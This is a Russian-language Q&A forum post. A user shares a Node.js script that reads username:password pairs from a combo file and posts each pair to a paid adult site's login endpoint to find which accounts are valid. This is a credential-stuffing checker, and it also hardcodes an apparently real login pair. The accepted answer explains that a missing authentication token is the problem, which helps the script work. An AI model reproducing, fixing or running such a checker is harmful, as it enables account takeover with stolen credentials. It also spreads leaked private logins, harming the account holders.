@theITmonster

POST запрос nodejs?

Мне необходимо проверять аккаунты в определенном сервисе, но почему то всегда пишет что неверный пароль. Но при этом я могу с легкостью войти с самого сайта по этим же данным, в чем может быть проблема? Весь код:

const fs = require('fs')
const fetch = require('node-fetch')
let result = []


fs.readFile('assets/pornhub.txt', async function(err, data) {
    if(err) throw err;
    var array = data.toString().split("\r\n");

    function timer(ms) {
        return new Promise(res => setTimeout(res, ms));
    }
       
    async function load () {
        for(i in array) {
            let resp = ''
            let username = array[i].split(':')[0]
            let password = array[i].split(':')[1]

            const body = {
                username: 'kev70907',
                password: 'kc38843884'
            }

            console.log(body)

            console.log(`Проверяю ${username}:${password}`)
    
            await sendRequest(body)
            .then(res => resp = res)
            .catch(err => err)
    
            if(resp.message === 'Неверное имя пользователя или пароль!') {
                console.log('Невалид')
            } else {
                console.log(resp.message)
            }

            return
            await timer(1000)
        }
    }
       
    load();
});

function sendRequest(body) {
    return fetch('https://rt.pornhubpremium.com/front/authenticate', {
        method: 'POST',
        body: JSON.stringify(body),
        headers: {
            'Connection': 'keep-alive',
            'Content-Type': 'application/json'
        }
    }).then(response => {
        return response.json()
    })
}
  • Вопрос задан
  • 91 просмотр
Решения вопроса 1
@billy_herington
Если открыть инспектор и посмотреть что происходит при авторизации, становится ясно, что вместе с логином и паролем надо передавать и токен, Вы его не передаете, отсюда и проблемы
61265bf8af852573241379.png
Ответ написан
Комментировать
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы